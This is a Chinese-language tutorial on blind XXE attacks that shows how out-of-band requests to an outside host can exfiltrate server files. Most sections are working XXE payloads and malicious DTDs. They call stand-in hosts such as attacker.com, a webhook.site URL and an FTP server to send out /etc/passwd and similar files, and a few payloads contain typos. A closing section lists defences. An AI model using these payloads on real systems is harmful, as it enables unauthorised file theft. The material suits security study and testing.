盲XXE攻击 -带外交互技术(OAST) 泄露数据
字数 871 2025-08-05 11:39:32
盲XXE攻击与带外交互技术(OAST)数据泄露教学文档
1. 盲XXE攻击基础
盲XXE(Blind XXE)攻击是指当服务器接受XML数据但不会在响应中返回任何结果时,仍然可能存在的XXE漏洞。这种情况下,我们需要使用带外交互技术(OAST)来验证漏洞存在并泄露数据。
2. 基本验证技术
2.1 触发带外交互
要验证盲XXE漏洞,可以定义一个外部实体:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com">]>
然后在XML文档中使用该实体。如果应用存在漏洞,服务器会向攻击者的URL发送HTTP请求。
2.2 使用Burp Collaborator
Burp Collaborator是验证盲XXE的有效工具,它提供:
- 专有域名和权威DNS服务
- HTTP/HTTPS服务
- SMTP/SMTPS服务
- 有效的CA签名通配符TLS证书
3. XML参数实体
当常规实体被阻止时,可以使用XML参数实体:
<!ENTITY % paramentity "my test value">
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>
参数实体只能在DTD中引用。
4. 数据泄露技术
4.1 基本数据泄露
创建恶意DTD文件:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://webhook.site/b16e2541-f40a-4641-9e12-286439217267/?x=%file;'>">
%eval;
%exfil;
4.2 处理大文件和特殊字符
对于大文件或包含特殊字符的文件,使用Base64编码:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
4.3 使用FTP协议
当HTTP请求因URI过长失败时,可以使用FTP协议:
恶意DTD:
<!ENTITY $ file SYSTEM "file:///etc/passwd">
<!ENTITY % req "<!ENTITY abc SYSTEM 'ftp://x.x.x.x:1212/%file; '>">
请求体:
<?xml version=1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/xxe.dtd">
%dtd;
%req;
]>
<foo>
&abc;
</foo>
5. 检索XML文件
当需要检索XML/DTD文件时,使用CDATA避免解析问题:
5.1 CDATA与PCDATA
- PCDATA: 会被解析器解析的文本
- CDATA: 不会被解析器解析的文本
5.2 XML文件泄露技术
恶意DTD:
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY content '%start;%file;%end;'>">
请求:
POST http://example.com/xml HTTP/1.1
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
%all;
]>
<data>&content;</data>
6. 攻击流程总结
- 验证盲XXE存在性:使用基本外部实体触发请求
- 绕过限制:必要时使用参数实体
- 数据泄露:
- 小数据:直接HTTP请求
- 大数据/特殊字符:Base64编码
- 超大文件:FTP协议
- XML文件获取:使用CDATA包装
7. 防御建议
- 禁用外部实体解析
- 使用安全的XML解析器配置
- 实施严格的输入验证
- 监控异常的外部请求